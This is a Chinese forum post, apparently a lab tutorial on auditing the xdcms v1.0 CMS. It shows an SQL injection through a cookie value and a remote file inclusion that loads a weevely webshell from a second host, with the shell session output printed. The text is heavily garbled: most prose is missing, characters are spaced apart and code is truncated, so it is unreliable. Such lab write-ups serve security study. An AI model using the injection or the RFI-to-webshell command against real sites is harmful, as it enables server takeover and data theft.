[27937] 2019-11-27_代码审核新手入门——xdcms_v1.0

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-19
2019-11-27_代码审核新手入门——xdcms_v1.0 x d c m s _ v 1 . 0 O t s   2 0 1 9 - 1 1 - 2 7 x d c m s k n 0 s k y C M S x d c m s v 1 . 0 C M S 使 s q l S Q L 1 .   2 .   W i n d o w s   7 x d c m s _ v 1 . 0 P H P S t u d y P H P   5 . 2 . 1 7   +   M y S Q L   5 . 7 . 2 6 C M S P H P   p h p s t u d y x d c m s 访 I P x d c m s C M S C M S 西
i n d e x . p h p C M S i n d e x . p h p f u n c t i o n l i b s m o d u l e u p l o a d f i l e a p i i n d e x d a t a c o n f i g . i n c . p h p / s y s t e m / f u n c t i o n / f u n . i n c . p h p
使 I P S Q L -   G B K -   s y s t e m -   a p i i n d e x -   访 i n d e x . p h p G E T m c f m c f m = x d c m s
b u r p
i n d e x . p h p m   =   m e m b e r f   =   e d i t i n d e x . p h p / s y s t e m / f u n c t i o n / g l o b a l . i n c . p h p e d i t u s e r i d c o o k i e s q l i n t / / $ m = s a f e _ r e p l a c e ( i s s e t ( $ _ G E T [ " m " ] ) )   ?   s a f e _ r e p l a c e ( $ _ G E T [ " m " ] )   :   " c o n t e n t " ; $ c = s a f e _ r e p l a c e ( i s s e t ( $ _ G E T [ " c " ] ) )   ?   s a f e _ r e p l a c e ( $ _ G E T [ " c " ] )   :   " i n d e x " ; $ f = s a f e _ r e p l a c e ( i s s e t ( $ _ G E T [ " f " ] ) )   ?   s a f e _ r e p l a c e ( $ _ G E T [ " f " ] )   :   " i n i t " ; i n c l u d e   M O D _ P A T H . $ m . " / " . $ c . " . p h p " ;       / / $ p = n e w   $ c ( ) ;     / / $ p - > $ f ( ) ;       / /         p u b l i c   f u n c t i o n   e d i t ( ) {                 $ t h i s - > m e m b e r _ i n f o ( 0 ) ;                 $ g o u r l = $ _ G E T [ ' g o u r l ' ] ;                 $ u s e r i d = $ _ C O O K I E [ ' m e m b e r _ u s e r i d ' ] ;                 $ i n f o = $ t h i s - > m y s q l - > g e t _ o n e ( " s e l e c t   *   f r o m   " . D B _ P R E . " m e m b e r   w h e r e   ` u s e r i d ` = $ u s e r i d " ) ;                 $ i n p u t = b a s e : : l o a d _ c l a s s ( ' i n p u t ' ) ;                 $ f i e l d = b a s e : : l o a d _ c a c h e ( " c a c h e _ f i e l d _ m e m b e r " , " _ f i e l d " ) ;                 $ f i e l d s = " " ;                 f o r e a c h ( $ f i e l d   a s   $ v a l u e ) {                         $ f i e l d s . = " < t r > n " ;                         $ f i e l d s . = " < t d   a l i g n = " r i g h t "   v a l i g n = " t o p " > < s p a n   c l a s s = " t d l " > " . $ v a l u e [ ' n a m e ' ] . " < / s p a n > < / t d > " ;                         $ f i e l d s . = " < t d > " . $ i n p u t - > $ v a l u e [ ' f o r m t y p e ' ] ( $ v a l u e [ ' f i e l d ' ] , $ i n f o [ $ v a l u e [ ' f i e l d ' ] ] , $ v a l u e [ ' w i d t h '                         $ f i e l d s . = " < / t r > n " ;                 }                 a s s i g n ( ' g o u r l ' , $ g o u r l ) ;                 a s s i g n ( ' m e m b e r ' , $ i n f o ) ;                 a s s i g n ( " f i e l d s " , $ f i e l d s ) ;                 t e m p l a t e ( " m e m b e r / e d i t " ) ;         }
c o o k i e m e m b e r _ u s e r i d s q l s q l m a p S Q L S Q L G E T m e m b e r _ u s e r i d 使 i n t v a l u s e r i d A P I A P I i n d e x . p h p 4   a n d   1 = 2 e d i t _ s a v e ( ) p a s s w o r d _ s a v e ( )
G E T c f c p h p c p h p p h p 0 0 p h p G P C m a g i c _ q u o t e s _ g p c
0 0 0 0 P H P 5 . 3 G P C p h p a l l o w _ u r l _ i n c l u d e w e e v e l y w e b s h e l l
g e t s h e l l k n 0 s k y @ a u d i t - L a b   ~ /   $   w e e v e l y   " h t t p : / / 1 2 7 . 0 . 0 . 1 : 2 8 0 0 0 / a p i / i n d e x . p h p ? c = h t t p : / / 1 9 2 . 1 6 8 . 2 . 2 2 2 / w e e . p h p ? "   k n k n 0 / h o m e / k n 0 s k y / A p p / w e e v e l y 3 / c o r e / s e s s i o n s . p y : 2 1 9 :   Y A M L L o a d W a r n i n g :   c a l l i n g   y a m l . l o a d ( )   w i t h o u t   L o a d e r = . . .   i s   d e p r e c a t e d ,   a s   t h e   d e f a u l t   L o a d e r   i s   u n s a f e .   P l e a s e       s e s s i o n d b   =   y a m l . l o a d ( o p e n ( d b p a t h ,   ' r ' ) . r e a d ( ) ) [ + ]   w e e v e l y   3 . 7 . 0 [ + ]   T a r g e t :         1 2 7 . 0 . 0 . 1 : 2 8 0 0 0 : C : p h p s t u d y _ p r o W W W x d c m s . c o m a p i [ + ]   S e s s i o n :         / h o m e / k n 0 s k y / . w e e v e l y / s e s s i o n s / 1 2 7 . 0 . 0 . 1 / i n d e x _ 0 . s e s s i o n [ + ]   S h e l l :         S y s t e m   s h e l l [ + ]   B r o w s e   t h e   f i l e s y s t e m   o r   e x e c u t e   c o m m a n d s   s t a r t s   t h e   c o n n e c t i o n [ + ]   t o   t h e   t a r g e t .   T y p e   : h e l p   f o r   m o r e   i n f o r m a t i o n . w e e v e l y > 1 2 7 . 0 . 0 . 1 : 2 8 0 0 0 : C : p h p s t u d y _ p r o W W W x d c m s . c o m a p i   $   : s y s t e m _ i n f o [ - ] [ c h a n n e l ]   T h e   r e m o t e   s c r i p t   e x e c u t i o n   t r i g g e r s   a n   e r r o r   5 0 0 ,   c h e c k   s c r i p t   a n d   p a y l o a d   i n t e g r i t y [ - ] [ c h a n n e l ]   T h e   r e m o t e   s c r i p t   e x e c u t i o n   t r i g g e r s   a n   e r r o r   5 0 0 ,   c h e c k   s c r i p t   a n d   p a y l o a d   i n t e g r i t y + - - - - - - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |   c l i e n t _ i p                     |   1 9 2 . 1 6 8 . 7 7 . 2                                             | |   m a x _ e x e c u t i o n _ t i m e   |   3 0 0                                                               | |   s c r i p t                           |   / a p i / i n d e x . p h p                                         | |   o p e n _ b a s e d i r               |                                                                       | |   h o s t n a m e                       |                                                                       | |   p h p _ s e l f                       |   / a p i / i n d e x . p h p                                         | |   s c r i p t _ f o l d e r             |   h t t p : / / 1 9 2 . 1 6 8 . 2 . 2 2 2                             | |   u n a m e                             |   W i n d o w s   N T   K 0 - P C   6 . 1   b u i l d   7 6 0 0       | |   p w d                                 |   C : p h p s t u d y _ p r o W W W x d c m s . c o m a p i   | |   s a f e _ m o d e                     |   F a l s e                                                           | |   p h p _ v e r s i o n                 |   5 . 2 . 1 7                                                         | |   d i r _ s e p                         |                                                                     | |   o s                                   |   W i n d o w s   N T                                                 | |   w h o a m i                           |                                                                       | |   d o c u m e n t _ r o o t             |   C : / p h p s t u d y _ p r o / W W W / x d c m s . c o m           | + - - - - - - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + 1 2 7 . 0 . 0 . 1 : 2 8 0 0 0 : C : p h p s t u d y _ p r o W W W x d c m s . c o m a p i   $
a l l o w _ u r l _ i n c l u d e   + h t t p / /   < I P >   / i n d e x . p h p ? m = x d c m s & c = l o g i n G I F 8 9 A p n g p h p . . / x d c m s : x d c m s / / $ t y p e = i s s e t ( $ _ G E T [ ' t y p e ' ] ) ? ( i n t ) $ _ G E T [ ' t y p e ' ] : 0 ; $ s i z e = 5 0 0 0 0 0 ; $ f o l d e r = ' i m a g e ' ; $ a l l o w e d = a r r a y (   ' g i f ' ,   ' j p g ' ,   ' j p e g ' ,   ' p n g '   ) ; i f   (   $ t h i s - > m a k e _ s c r i p t _ s a f e   ) {         i f   (   p r e g _ m a t c h (   " / . ( c g i | p l | j s | a s p | p h p | h t m l | h t m | j s p | j a r ) ( . | $ ) / i " $ F I L E _ N A M E   )   ) {                 $ F I L E _ T Y P E                                   =   ' t e x t / p l a i n ' ;                 $ t h i s - > f i l e _ e x t e n s i o n             =   ' t x t ' ;                 $ t h i s - > p a r s e d _ f i l e _ n a m e               =   p r e g _ r e p l a c e (   " / . ( c g i | p l | j s | a s p | p h p | h t m l | h t m | j s p | j a r ) ( . | $ ) / i " ,   " $ 2 "                 $ r e n a m e d   =   1 ;         } } i f   (   $ t h i s - > i m a g e _ c h e c k   ) {         $ i m g _ a t t r i b u t e s   =   @ g e t i m a g e s i z e (   $ t h i s - > s a v e d _ u p l o a d _ n a m e   ) ;
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则